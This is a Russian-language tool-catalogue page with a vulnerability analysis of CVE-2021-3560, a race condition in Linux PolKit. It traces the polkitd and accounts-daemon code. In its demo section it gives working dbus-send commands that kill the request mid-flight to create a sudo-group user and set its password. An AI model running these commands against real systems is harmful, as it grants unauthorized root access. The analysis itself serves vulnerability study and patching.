Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3560 — Углублённый анализ CVE-2021-3560 — локальной уязвимости повышения привилегий в Linux PolKit. Включает анализ первопричины, механику эксплойта и демонстрацию состояния гонки, приводящего к получению root-доступа. | Kitploit
Инструменты/GitHubGitHub/chenaotian/cve-2021-3560
Повышение привилегийАнализ уязвимостейЭксплуатацияАнализ Бинарных ФайловОбучение и Образование
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

Углублённый анализ CVE-2021-3560 — локальной уязвимости повышения привилегий в Linux PolKit. Включает анализ первопричины, механику эксплойта и демонстрацию состояния гонки, приводящего к получению root-доступа.

Репозиторий
9324 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-3560 PolKit: анализ локального повышения привилегий через гонку состояний

[toc]

Обзор уязвимости

Идентификатор уязвимости: CVE-2021-3560

Оценка уязвимости:

Уязвимый продукт: linux PolKit (polkitd)

Затронутые версии: внедрена в исходном коде 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 и выше
  • Debian testing (“bullseye”)
  • Ubuntu 20.04

Условия эксплуатации: локальный доступ к linux; наличие dbus + polkitd

Результат эксплуатации: локальное повышение привилегий

Получение исходного кода:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

Настройка окружения

Стандартного образа ubuntu-20.04.2 достаточно для воспроизведения: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

Принцип уязвимости

Место возникновения уязвимости

Сначала посмотрим на проблемный код

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

В функции polkit_system_bus_name_get_creds_sync выполняется аутентификация некоторых запросов (конкретный логический сценарий будет подробно описан ниже). Сначала через шину org.freedesktop.DBus вызываются методы GetConnectionUnixUser и GetConnectionUnixProcessID; эти методы предоставляются шиной org.freedesktop.DBus и служат для получения PID и UID пользователя запрашивающего процесса, после чего данные передаются в callback-функцию on_retrieved_unix_uid_pid для обработки. Затем выполняется блокирующее ожидание завершения выполнения процесса на стороне шины.

В функции on_retrieved_unix_uid_pid видно, что в зависимости от результата выполнения на стороне шины устанавливается признак ошибки (error?), после чего устанавливается бит ошибки; при успешном выполнении возвращаются UID пользователя или PID процесса. Однако в функции polkit_system_bus_name_get_creds_sync после блокирующего ожидания результата от шины (условием завершения обработки является обработка и UID, и PID, либо возникновение ошибки). То есть, с логической точки зрения, со стороны шины возможны три результата: получен UID пользователя 0 — привилегированный пользователь; получен UID пользователя, отличный от 0, — обычный пользователь; ошибка. Но в дальнейшей обработке ошибка не обрабатывается: out_uid, возвращаемый на верхний уровень, напрямую устанавливается в data.uid, полученный от шины, а затем ret просто устанавливается в TRUE:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?

Однако был упущен случай, когда на стороне шины DBUS возникает ошибка выполнения: callback-функция устанавливает бит ошибки и возвращается, так и не обработав данные data, а data инициализируется нулём. В результате далее out_uid устанавливается в 0, то есть в привилегированного пользователя.

Где же используется эта проблемная функция polkit_system_bus_name_get_creds_sync?

Путь срабатывания

Процессом, в котором находится уязвимость, является polkitd:

polkit — это набор инструментов прикладного уровня, который, определяя и проверяя правила прав доступа, обеспечивает взаимодействие между процессами с разными приоритетами: управление решениями централизовано в единой среде и определяет, имеет ли процесс с низким приоритетом право доступа к процессу с высоким приоритетом.

Проще говоря, это фоновый процесс root, который посредством межпроцессного взаимодействия выполняет проверку прав, когда другие процессы с низкими привилегиями обращаются к функциям, предоставляемым процессами с высокими привилегиями. Поскольку при подключении gdb этот процесс перезапускается, анализ можно проводить только на уровне исходного кода, чтобы найти путь срабатывания уязвимой функции:

В polkitd для разработки широко используется фреймворк межпроцессного взаимодействия gio DBUS; можно заранее ознакомиться с руководством, обратив внимание на некоторые ключевые функции.

Далее проанализируем путь срабатывания уязвимости в polkitd:

  1. Сначала main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //访问该总线时的回调函数
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //循环启动
      ··· ···
      ··· ···
    }
    
  2. Сначала регистрируется шина org.freedesktop.PolicyKit1, затем есть три callback-функции; основное внимание стоит уделить on_bus_acquired, которая вызывается при обращении к шине.

  3. В функции on_bus_acquired напрямую вызывается функция регистрации polkit_backend_authority_register

Иными словами, когда другие функции вызывают метод CheckAuthorization на шине org.freedesktop.PolicyKit1.Authority, при определённом сценарии (контроль над возвратом ошибки при получении UID запрашивающего процесса через DBUS) корректность аутентификации этого метода нарушается. Поскольку ответ уже можно увидеть напрямую, метод эксплуатации уязвимости — при использовании account-daemon

Эксплуатация уязвимости

Общий анализ

Сначала приведём схему автора эксплойта:

image-20220131163536269

Поясним, что изображено на схеме:

  • Процессы polkitd, dbus-daemon и account-daemon — все три являются фоновыми сервисными процессами, работающими с правами root.

  • dbus-daemon — это «маршрутизатор» межпроцессного взаимодействия, то есть ядро упомянутого выше фреймворка GIO DBUS. По моему пониманию, разные процессы могут регистрировать здесь имена шин; процесс, желающий связаться с вами, обращается к имени шины, а также к интерфейсу и имени метода, чтобы вызвать функции в вашем процессе. Некоторые функции процесса polkitd, описанные выше, как раз регистрируют шину в dbus и ожидают вызова другими процессами.

  • account-daemon аналогичен polkitd: он регистрирует в dbus шину org.freedesktop.Accounts и предоставляет ряд методов, связанных с учётными записями, например, используемые далее добавление пользователя, установка пароля и т.д. Кроме того, перед такими операциями, как добавление пользователя, этот процесс выполняет аутентификацию пользователя, используя именно упомянутый выше уязвимый метод шины CheckAuthorization, предоставляемый процессом polkitd.

Таким образом, общий поток событий при эксплуатации уязвимости выглядит так:

  1. С помощью команды dbus-send процессу account-daemon отправляется сообщение с запросом на создание пользователя-администратора (метод CreateUser, предоставляемый этим процессом, по умолчанию добавляет пользователя-администратора), однако с нашими правами выполнить эту операцию невозможно.
  2. После отправки сообщения процессу account-daemon последний запрашивает у процесса polkitd проверку прав — разрешена ли данная операция добавления пользователя.
  3. polkitd запрашивает у шины права пользователя и идентификатор процесса, инициировавшего запрос на создание пользователя.
    • Нам нужно сделать следующее: убить запрашивающий процесс (то есть процесс dbus-send) в промежутке времени между отправкой сообщения, получением его процессом account-daemon и запросом polkitd прав запрашивающего процесса.
  4. В этот момент шина обнаруживает, что процесс, запросивший добавление пользователя, исчез, и возвращает ошибку.
  5. Как показано в анализе выше, уязвимость заключается в том, что процесс polkitd при ошибке по умолчанию считает её успехом, а затем по умолчанию принимает uid пользователя за 0, то есть за привилегированного пользователя. Это запускает уязвимость и разрешает данную операцию.

Анализ поведения взаимодействия account-daemon

Поскольку dbus-daemon — это процесс-посредник, подробно анализировать его не будем, но здесь разберём процесс account-daemon, который является ключевым в ходе эксплуатации. Этот процесс также использует фреймворк GIO DBUS; кратко проанализируем некоторые важные моменты. Сначала посмотрим на

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

Здесь используются макросы G_DEFINE_TYPE_WITH_CODE и G_IMPLEMENT_INTERFACE для выполнения функции daemon_accounts_accounts_iface_init; смысл этих двух макросов, в общем, в том, что они найдут возможность выполнить функцию daemon_accounts_accounts_iface_init. В функции daemon_accounts_accounts_iface_init регистрируется метод create_user; посмотрим непосредственно на реализацию функции daemon_create_user:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

В daemon_create_user вызывается функция daemon_local_check_auth для проверки того, разрешены ли права запрашивающего пользователя; после успешного вызова будет вызвана callback-функция daemon_create_user_authorized_cb. Сначала рассмотрим функцию аутентификации daemon_local_check_auth:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

Здесь для аутентификации вызывается функция polkit_authority_check_authorization, которая является библиотечной функцией, предоставляемой libpolkit-gobject-1.so.0; она напрямую вызывает метод CheckAuthorization на шине org.freedesktop.PolicyKit1.Authority в процессе polkitd, как было проанализировано выше. При успешной аутентификации вызывается callback-функция daemon_create_user_authorized_cb:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

Здесь уже всё очевидно: после успешного добавления пользователь напрямую добавляется в группу sudo, поэтому в конце эксплойта после добавления пользователя можно переключиться на root через sudo su root.

Далее рассмотрим демонстрацию ручной эксплуатации уязвимости.

demo

От имени обычного пользователя напрямую отправляем процессу account-daemon запрос на создание пользователя с помощью команды dbus-send:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

В операционных системах с графическим интерфейсом этот запрос вызовет появление окна ввода пароля:

image-20220131153323446

В терминалах командной строки, например по ssh, запрос сразу завершится ошибкой:

image-20220131153521697

Согласно описанной выше идее эксплуатации, сначала посмотрим на время выполнения этой команды:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

Затем выбираем момент примерно на середине выполнения этой команды и убиваем её — с некоторой вероятностью уязвимость сработает и пользователь будет создан:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

Повторное выполнение приводит к успеху:

image-20220131154220337

Кроме того, пользователь находится в группе sudo:

image-20220131154304858

Затем тем же способом добавляем ему пароль:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 необходимо заменить в соответствии с UID только что созданного пользователя; пароль используется в виде хеш-значения. Затем переключаемся на пользователя.

exp

Здесь эксплойт подробно не расписывается: по сути, нужно просто автоматизировать приведённые выше команды. C-эксплойт с github тоже работает нормально.

hakivvi/CVE-2021-3560

Меры по смягчению последствий

Обновите до последней версии

Ссылки

Раскрытие уязвимости (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

Скачать инструмент
  • В функции polkit_backend_authority_register регистрируется интерфейсный объект org.freedesktop.PolicyKit1.Authority и передаётся таблица callback-функций server_vtable. Точка срабатывания уязвимости находится в одной из функций этой таблицы:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //回调函数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
      ··· ···
      ··· ···
    }
    

    Когда другие процессы через шину вызывают метод CheckAuthorization, вызывается функция server_handle_check_authorization.

  • В функции server_handle_check_authorization вызывается polkit_backend_authority_check_authorization

  • В функции polkit_backend_authority_check_authorization через callback вызывается klass->check_authorization, зарегистрированной функцией для которого является polkit_backend_interactive_authority_check_authorization:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //在别处初始化的
    
  • Далее нужно просто искать по порядку: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • Уязвимая функция: polkit_system_bus_name_get_user_sync

  • dbus-send — это команда: шина dbus предоставляет ряд программных интерфейсов для вызова при межпроцессном взаимодействии, а также команды командной строки, с помощью которых можно напрямую отправлять сообщения определённому процессу и вызывать его методы.

  • Хотя процесс dbus-send убит, из-за чего проверка шины возвращает ошибку, на account-daemon это не влияет: после получения сообщения он больше не обращает внимания на существование запрашивающего процесса.
  • Получив от polkitd ответ о разрешении добавления, account-daemon создаёт пользователя — эксплуатация завершена.